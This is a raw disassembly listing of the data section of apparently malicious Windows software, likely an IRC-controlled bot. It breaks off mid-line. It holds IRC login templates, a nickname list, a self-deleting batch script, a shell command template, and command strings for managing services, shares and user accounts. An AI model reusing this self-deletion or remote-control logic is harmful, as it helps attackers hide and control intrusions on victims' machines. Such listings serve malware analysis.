dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_438788 dd offset dword_438784 dd offset dword_43877C dd offset dword_438770 dd offset dword_438768 dd offset dword_438760 dd offset dword_438758 dd offset dword_438754 dd offset dword_438750 dword_438750 dd 7536h ; DATA XREF: .packed:0043874Co dword_438754 dd 7535h ; DATA XREF: .packed:00438748o dword_438758 dd 7C75347Ch, 0 ; DATA XREF: .packed:00438744o dword_438760 dd 6F79347Bh, 7D75h ; DATA XREF: .packed:00438740o dword_438768 dd 7375347Ch, 7Ch ; DATA XREF: .packed:0043873Co dword_438770 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: .packed:00438738o dword_43877C dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: .packed:00438734o dword_438784 dd 6C6F6Ch ; DATA XREF: .packed:00438730o dword_438788 dd 746F74h ; DATA XREF: .packed:0043872Co aMofo db 'mofo',0 ; DATA XREF: .packed:00438728o align 4 aMof0 db 'mof0',0 ; DATA XREF: .packed:00438724o align 4 aMuha db 'muha',0 ; DATA XREF: .packed:00438720o align 4 aYeah db 'yeah',0 ; DATA XREF: .packed:0043871Co align 4 aAha db 'aha',0 ; DATA XREF: .packed:00438718o aShit db 'shit',0 ; DATA XREF: .packed:00438714o align 4 aGurl db 'gurl',0 ; DATA XREF: .packed:00438710o align 10h aGirl_0 db 'GIRL',0 ; DATA XREF: .packed:0043870Co align 4 aBoy db 'BOY',0 ; DATA XREF: .packed:00438708o aFree db 'Free',0 ; DATA XREF: .packed:004386F4o align 4 aFuck_0 db 'Fuck',0 ; DATA XREF: .packed:004386F0o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: .packed:004386E4o align 4 aF_3 db '^^^f^',0 ; DATA XREF: .packed:004386D8o align 10h aSad db 'Sad',0 ; DATA XREF: .packed:004386D4o aLuvu db 'LUVU',0 ; DATA XREF: .packed:004386D0o align 4 a___0 db '_|_',0 ; DATA XREF: .packed:004386B4o aBbl db '|bbl',0 ; DATA XREF: .packed:004386A8o align 4 off_438808 dd offset loc_425242 ; DATA XREF: .packed:004386A4o aMuckc db 'muckc',0 ; DATA XREF: .packed:00438690o align 4 aTruck db 'truck',0 ; DATA XREF: .packed:0043868Co align 4 aTrimy db 'trimy',0 ; DATA XREF: .packed:00438688o align 4 aLuvy db 'luvy',0 ; DATA XREF: .packed:00438684o align 4 aUi db 'ui',0 ; DATA XREF: .packed:00438680o align 10h aSdf db 'sdf',0 ; DATA XREF: .packed:0043867Co aRt db 'rt',0 ; DATA XREF: .packed:00438678o align 4 aGf db 'gf',0 ; DATA XREF: .packed:00438674o align 4 aTy db 'ty',0 ; DATA XREF: .packed:00438670o align 10h aRg db 'rg',0 ; DATA XREF: .packed:0043866Co align 4 aHappy db 'happy',0 ; DATA XREF: .packed:00438668o align 4 aRs db 'rs',0 ; DATA XREF: .packed:00438648o align 10h aQ8A db '|q8|a',0 ; DATA XREF: .packed:00438600o align 4 aQ8 db 'Q8',0 ; DATA XREF: .packed:004385FCo align 4 aSick db 'sick}}',0 ; DATA XREF: .packed:004385F8o align 4 aWiked db '|wiked|',0 ; DATA XREF: .packed:004385F4o aLuvuF db '||luvu-f|',0 ; DATA XREF: .packed:004385F0o align 4 aGens db '{gens|',0 ; DATA XREF: .packed:004385ECo align 10h aSex_0 db '{sex}',0 ; DATA XREF: .packed:004385E8o align 4 aHub db '{hub}',0 ; DATA XREF: .packed:004385E4o align 10h aLuck db '|luck|',0 ; DATA XREF: .packed:004385E0o align 4 aSuck db '|suck|',0 ; DATA XREF: .packed:004385DCo align 10h aTot db '-|tot|',0 ; DATA XREF: .packed:004385D8o align 4 aWoh db '|woh|',0 ; DATA XREF: .packed:004385D4o align 10h aTambe db '|tambe|',0 ; DATA XREF: .packed:004385D0o aLag db 'lag',0 ; DATA XREF: .packed:004385CCo aBad db 'bad',0 ; DATA XREF: .packed:004385C8o aTree db 'tree',0 ; DATA XREF: .packed:004385C4o align 4 aZex db 'zex',0 ; DATA XREF: .packed:004385C0o aLez db 'lez',0 ; DATA XREF: .packed:004385BCo aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: .packed:004385B4o align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: .packed:004385B0o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: .packed:004385ACo align 10h aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: .packed:004385A8o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: .packed:004385A4o align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: .packed:004385A0o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: .packed:0043859Co align 10h aRerpjj db 'RERPJJ',0 ; DATA XREF: .packed:00438598o align 4 aCem39 db 'cem39',0 ; DATA XREF: .packed:00438594o align 10h aCool30m db 'cool30m',0 ; DATA XREF: .packed:00438590o aTropikal db 'tropikal',0 ; DATA XREF: .packed:0043858Co align 4 aPassenger db 'passenger',0 ; DATA XREF: .packed:00438588o align 10h aNeHaber db 'NE-HABER',0 ; DATA XREF: .packed:00438584o align 4 aUla db 'ula',0 ; DATA XREF: .packed:00438580o aIzmirlm db 'izmirlm',0 ; DATA XREF: .packed:0043857Co aAkden db 'akden',0 ; DATA XREF: .packed:00438578o align 10h aKoray db 'KORAY',0 ; DATA XREF: .packed:00438574o align 4 aAta29 db 'Ata29',0 ; DATA XREF: .packed:00438570o align 10h aFirtina db 'firtina',0 ; DATA XREF: .packed:0043856Co aAdamm33 db 'AdAMM33',0 ; DATA XREF: .packed:00438568o aM41ist db 'M41IST',0 ; DATA XREF: .packed:00438564o align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: .packed:00438560o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: .packed:0043855Co align 4 aAnkm db 'ankM',0 ; DATA XREF: .packed:00438558o align 4 aErkan db 'erkan',0 ; DATA XREF: .packed:00438554o align 4 aDevre db 'devre',0 ; DATA XREF: .packed:00438550o align 4 aYabanc db 'yabanc',0 ; DATA XREF: .packed:0043854Co align 4 aBirsen db 'birsen',0 ; DATA XREF: .packed:00438548o align 4 aA44m db 'a44m',0 ; DATA XREF: .packed:00438544o align 4 aAlcatras db 'alcatras',0 ; DATA XREF: .packed:00438540o align 4 off_4389E8 dd offset byte_4B5245 ; DATA XREF: .packed:0043853Co aSevda db 'sevda',0 ; DATA XREF: .packed:00438538o align 4 aKotan db 'kotan',0 ; DATA XREF: .packed:00438534o align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: .packed:00438530o align 4 aAchilles db 'Achilles',0 ; DATA XREF: .packed:0043852Co align 10h aKapk db 'kapk',0 ; DATA XREF: .packed:00438528o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: .packed:00438524o align 4 aHayran db 'hayran',0 ; DATA XREF: .packed:00438520o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: .packed:0043851Co align 4 aAnkar db 'Ankar',0 ; DATA XREF: .packed:00438518o align 10h aDjspace db 'DJSPACE',0 ; DATA XREF: .packed:00438514o aAnk32M db 'ANK-32-M',0 ; DATA XREF: .packed:00438510o align 4 aUmut db 'umut-',0 ; DATA XREF: .packed:0043850Co align 4 aAdalim db 'ADALIM',0 ; DATA XREF: .packed:00438508o align 4 aKumul db 'kumul',0 ; DATA XREF: .packed:00438504o align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: .packed:00438500o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: .packed:004384FCo align 10h aSeviseli db 'SeViSeLi',0 ; DATA XREF: .packed:004384F8o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: .packed:004384F4o align 4 aAykut1 db 'aykut1',0 ; DATA XREF: .packed:004384F0o align 10h aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: .packed:004384ECo align 10h aMahinur db 'MAHINUR',0 ; DATA XREF: .packed:004384E8o aHoly db 'holy',0 ; DATA XREF: .packed:004384E4o align 10h aFlord db 'FLoRD',0 ; DATA XREF: .packed:004384E0o align 4 aKebikec db 'kebikec',0 ; DATA XREF: .packed:004384DCo aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: .packed:004384D8o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: .packed:004384D4o align 4 aEmre db 'Emre--',0 ; DATA XREF: .packed:004384D0o align 10h aRamtha db 'RAMTHA',0 ; DATA XREF: .packed:004384CCo align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: .packed:004384C8o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: .packed:004384C4o align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: .packed:004384C0o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: .packed:004384BCo aArda db 'arda',0 ; DATA XREF: .packed:004384B8o align 4 aDevran db 'devran',0 ; DATA XREF: .packed:004384B4o align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: .packed:004384B0o aDenizlim db 'DenizliM',0 ; DATA XREF: .packed:004384ACo align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: .packed:004384A8o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: .packed:004384A4o align 10h aBogac db 'bogac',0 ; DATA XREF: .packed:004384A0o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: .packed:0043849Co align 4 aAnkh db 'ankh',0 ; DATA XREF: .packed:00438498o align 4 off_438B7C dd offset byte_457441 ; DATA XREF: .packed:00438494o dword_438B80 dd 414C5941h, 2Dh ; DATA XREF: .packed:00438490o aAlbina db 'albina',0 ; DATA XREF: .packed:0043848Co align 10h aIzmir39m db 'Izmir39m',0 ; DATA XREF: .packed:00438488o align 4 aZack db 'ZACK',0 ; DATA XREF: .packed:00438484o align 4 aAnk32m db 'ank32m',0 ; DATA XREF: .packed:00438480o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: .packed:0043847Co align 4 aAhmet db 'ahmet',0 ; DATA XREF: .packed:00438478o align 4 aPelincik db 'pelincik',0 ; DATA XREF: .packed:00438474o align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: .packed:00438470o align 4 aRetg db 'RETG',0 ; DATA XREF: .packed:0043846Co align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: .packed:00438468o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: .packed:00438464o aAslii db 'aslii',0 ; DATA XREF: .packed:00438460o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: .packed:0043845Co aHaticem db 'haticem',0 ; DATA XREF: .packed:00438458o aArzu db 'ARZU',0 ; DATA XREF: .packed:00438454o align 10h aSudenur db 'SUDENUR',0 ; DATA XREF: .packed:00438450o aSevmekmi db 'sevmekmi',0 ; DATA XREF: .packed:0043844Co align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: .packed:00438448o align 10h aTekir db 'tekir',0 ; DATA XREF: .packed:00438444o align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: .packed:00438440o align 4 aTrend3 db 'trend3',0 ; DATA XREF: .packed:0043843Co align 4 aMelekk db 'melekk',0 ; DATA XREF: .packed:00438438o align 4 aAkin db 'AKIN',0 ; DATA XREF: .packed:00438434o align 4 aMary_0 db 'MARY',0 ; DATA XREF: .packed:00438430o align 4 aJericho db 'JERICHO',0 ; DATA XREF: .packed:0043842Co aTolga34 db 'Tolga34',0 ; DATA XREF: .packed:00438428o aMisssunday db 'misssunday',0 ; DATA XREF: .packed:00438424o align 10h aIrmal db 'irmal',0 ; DATA XREF: .packed:00438420o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: .packed:0043841Co align 4 aBerk19 db 'berk19',0 ; DATA XREF: .packed:00438418o align 10h aHexaaa db 'hexaaa',0 ; DATA XREF: .packed:00438414o align 4 aErkan27 db 'erkan27',0 ; DATA XREF: .packed:00438410o aKaan38dent db 'kaan38dent',0 ; DATA XREF: .packed:0043840Co align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: .packed:00438408o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: .packed:00438404o align 4 aKencing db 'Kencing',0 ; DATA XREF: .packed:00438400o aReshma db 'reshma',0 ; DATA XREF: .packed:004383FCo align 4 aCamel db 'CAMEL',0 ; DATA XREF: .packed:004383F8o align 4 aGirl db 'GirL',0 ; DATA XREF: .packed:004383F4o align 4 aImra db 'imra',0 ; DATA XREF: .packed:004383F0o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: .packed:004383ECo align 4 aPuregold db 'puregold',0 ; DATA XREF: .packed:004383E8o align 4 aKermit db 'kermit',0 ; DATA XREF: .packed:004383E4o align 4 aManee db 'manee',0 ; DATA XREF: .packed:004383E0o align 4 aTroller db 'troller',0 ; DATA XREF: .packed:004383DCo aLuisa db 'Luisa',0 ; DATA XREF: .packed:004383D8o align 4 aNastysha db 'nastysha',0 ; DATA XREF: .packed:004383D4o align 10h aRimpy db 'rimpy',0 ; DATA XREF: .packed:004383D0o align 4 aJanno db 'janno',0 ; DATA XREF: .packed:004383CCo align 10h aBunty db 'bunty',0 ; DATA XREF: .packed:004383C8o align 4 aHeval db 'heval',0 ; DATA XREF: .packed:004383C4o align 10h aCme db 'cme',0 ; DATA XREF: .packed:004383C0o aMarcy db 'marcy',0 ; DATA XREF: .packed:004383BCo align 4 aTalika db 'talika',0 ; DATA XREF: .packed:004383B8o align 4 aShez db 'Shez',0 ; DATA XREF: .packed:004383B4o align 4 aKen db 'ken',0 ; DATA XREF: .packed:004383B0o aFlexster db 'flexster',0 ; DATA XREF: .packed:004383ACo align 4 aKoko db 'koko',0 ; DATA XREF: .packed:004383A8o align 4 aMale db 'male',0 ; DATA XREF: .packed:004383A4o align 4 aSwin db 'swin',0 ; DATA XREF: .packed:004383A0o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: .packed:0043839Co aKrizha db 'KRIZHA',0 ; DATA XREF: .packed:00438398o align 4 aEmilya db 'emilya',0 ; DATA XREF: .packed:00438394o align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: .packed:00438390o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: .packed:0043838Co aFarooq db 'farooq',0 ; DATA XREF: .packed:00438388o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: .packed:00438384o align 4 aM_0: ; DATA XREF: .packed:00438380o ; .packed:004386CCo unicode 0, <M>,0 word_438DE8 dw 4Eh ; DATA XREF: sub_419E79+38r ; .packed:0043837Co align 4 dword_438DEC dd 42h ; DATA XREF: .packed:00438378o dword_438DF0 dd 56h ; DATA XREF: .packed:00438374o dword_438DF4 dd 43h ; DATA XREF: .packed:00438370o dword_438DF8 dd 58h ; DATA XREF: .packed:0043836Co ; .packed:00438700o dword_438DFC dd 5Ah ; DATA XREF: .packed:00438368o dword_438E00 dd 4Ch ; DATA XREF: .packed:00438364o dword_438E04 dd 4Bh ; DATA XREF: .packed:00438360o dword_438E08 dd 4Ah ; DATA XREF: .packed:0043835Co dword_438E0C dd 48h ; DATA XREF: .packed:00438358o dword_438E10 dd 47h ; DATA XREF: .packed:00438354o dword_438E14 dd 46h ; DATA XREF: .packed:00438350o ; .packed:004386C8o dword_438E18 dd 44h ; DATA XREF: .packed:0043834Co dword_438E1C dd 53h ; DATA XREF: .packed:00438348o dword_438E20 dd 50h ; DATA XREF: .packed:00438340o dword_438E24 dd 4Fh ; DATA XREF: .packed:0043833Co dword_438E28 dd 55h ; DATA XREF: .packed:00438334o word_438E2C dw 59h ; DATA XREF: sub_41A19D+38r ; .packed:00438330o align 10h dword_438E30 dd 54h ; DATA XREF: .packed:0043832Co dword_438E34 dd 52h ; DATA XREF: .packed:00438328o dword_438E38 dd 45h ; DATA XREF: .packed:00438324o dword_438E3C dd 57h ; DATA XREF: .packed:00438320o dword_438E40 dd 51h ; DATA XREF: .packed:0043831Co dword_438E44 dd 62h ; DATA XREF: .packed:00438310o ; .packed:00438604o ... dword_438E48 dd 78h ; DATA XREF: .packed:00438304o ; .packed:0043865Co dword_438E4C dd 7Ah ; DATA XREF: .packed:00438300o ; .packed:00438664o ... dword_438E50 dd 6Ch ; DATA XREF: .packed:004382FCo ; .packed:00438630o dword_438E54 dd 68h ; DATA XREF: .packed:004382F0o ; .packed:0043861Co dword_438E58 dd 67h ; DATA XREF: .packed:004382ECo ; .packed:00438618o ... dword_438E5C dd 66h ; DATA XREF: .packed:004382E8o ; .packed:00438614o dword_438E60 dd 79h ; DATA XREF: .packed:004382CCo ; .packed:00438660o dword_438E64 dd 77h ; DATA XREF: .packed:004382BCo ; .packed:00438658o dword_438E68 dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_4177CF+B1o dword_438E74 dd 323334h ; DATA XREF: sub_4177CF+79o dword_438E78 dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_4177CF+61o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_4178BA+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 4 a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417ADD+BCo ; sub_417ADD+175r ... align 10h dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418293+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o align 10h a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418359+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418359+48o align 10h unk_438FF0 db 2Dh ; - ; DATA XREF: sub_4184E1+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 10h unk_439020 db 2Dh ; - ; DATA XREF: sub_4184E1+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_439048 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_4184E1+5Co dd 65726165h, 64h, 0 off_439068 dd offset aAdd ; DATA XREF: sub_4186C1+60r ; sub_418A98+51r ... ; "Add" off_43906C dd offset aAdded ; DATA XREF: sub_4186C1+2Dr ; sub_418A98+83r ... ; "Added" dword_439070 dd 0 ; DATA XREF: sub_4186C1+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 10h dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 4390DCh, 4390D4h, 2, 4390C8h, 4390BCh, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: .packed:0043909Co aStop_0 db 'Stop',0 ; DATA XREF: .packed:00439098o align 4 aStarted db 'Started',0 ; DATA XREF: .packed:00439090o aStart_0 db 'Start',0 ; DATA XREF: .packed:0043908Co align 4 aListed db 'Listed',0 ; DATA XREF: .packed:00439084o align 4 aList_1 db 'List',0 ; DATA XREF: .packed:00439080o align 4 aDeleted db 'Deleted',0 ; DATA XREF: .packed:00439078o aDelete_0 db 'Delete',0 ; DATA XREF: .packed:00439074o align 4 aAdded db 'Added',0 ; DATA XREF: .packed:off_43906Co align 4 aAdd db 'Add',0 ; DATA XREF: .packed:off_439068o unk_439130 db 2Dh ; - ; DATA XREF: sub_4186C1+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_439154 db 2Dh ; - ; DATA XREF: sub_4186C1+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 10h unk_439180 db 2Dh ; - ; DATA XREF: sub_4186C1+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co align 10h aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_4187DD:loc_4188E7o db 'the state of the service.',0 align 10h aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_4187DD:loc_4188E0o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_4187DD:loc_4188D9o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188D2o align 10h aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo align 10h aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_4187DD:loc_4188C4o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_4187DD:loc_4188BDo db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188B6o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_4187DD:loc_41888Bo align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_4187DD:loc_418884o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_4187DD:loc_41887Do db 'tServiceCtrlDispatcher.',0 align 10h aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_4187DD:loc_418876o align 10h aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_4187DD:loc_41884Bo db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_4187DD:loc_418841o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_4187DD:loc_418837o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_4187DD:loc_418823o align 10h aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41895B+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_41895B:loc_418A27o aStarting db ' Starting',0 ; DATA XREF: sub_41895B:loc_418A20o aStoping db ' Stoping',0 ; DATA XREF: sub_41895B:loc_418A19o aRunning db ' Running',0 ; DATA XREF: sub_41895B:loc_418A12o aContinuing db ' Continuing',0 ; DATA XREF: sub_41895B:loc_418A0Bo aPausing db ' Pausing',0 ; DATA XREF: sub_41895B:loc_418A04o aPaused_0 db ' Paused',0 ; DATA XREF: sub_41895B:loc_4189FDo aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41895B+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_41895B+25o align 4 unk_4396D4 db 2Dh ; - ; DATA XREF: sub_418A98+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 4 dword_4396F8 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418A98+8Ao dd 73252720h, 27h unk_439714 db 2Dh ; - ; DATA XREF: sub_418A98+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 10h a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_418C8E+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_418C8E+B5o unk_439760 db 2Dh ; - ; DATA XREF: sub_418C8E+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_418C8E+26o align 10h unk_4397C0 db 2Dh ; - ; DATA XREF: sub_418DAF+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 4 unk_4397E8 db 2Dh ; - ; DATA XREF: sub_418DAF+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 4 unk_439818 db 2Dh ; - ; DATA XREF: sub_418DAF+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 4 unk_439838 db 2Dh ; - ; DATA XREF: sub_418EF6+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_418EF6+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_418EF6+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_418EF6+1ACo align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF6+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_418EF6:loc_419015o align 4 aUser_2 db 'User',0 ; DATA XREF: sub_418EF6:loc_41900Eo align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF6:loc_419007o align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF6+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF6+84o align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF6+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo align 4 unk_4399F4 db 2Dh ; - ; DATA XREF: sub_4192DF+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 10h aS_6 db ' %S',0 ; DATA XREF: sub_4192DF+BEo align 4 unk_439A28 db 2Dh ; - ; DATA XREF: sub_4192DF+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_41945F:loc_419543o db 'ord policy requirement.)',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_41945F+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_41945F:loc_41950Ao aLevelParameter db 'Level parameter is invalid.',0 ; 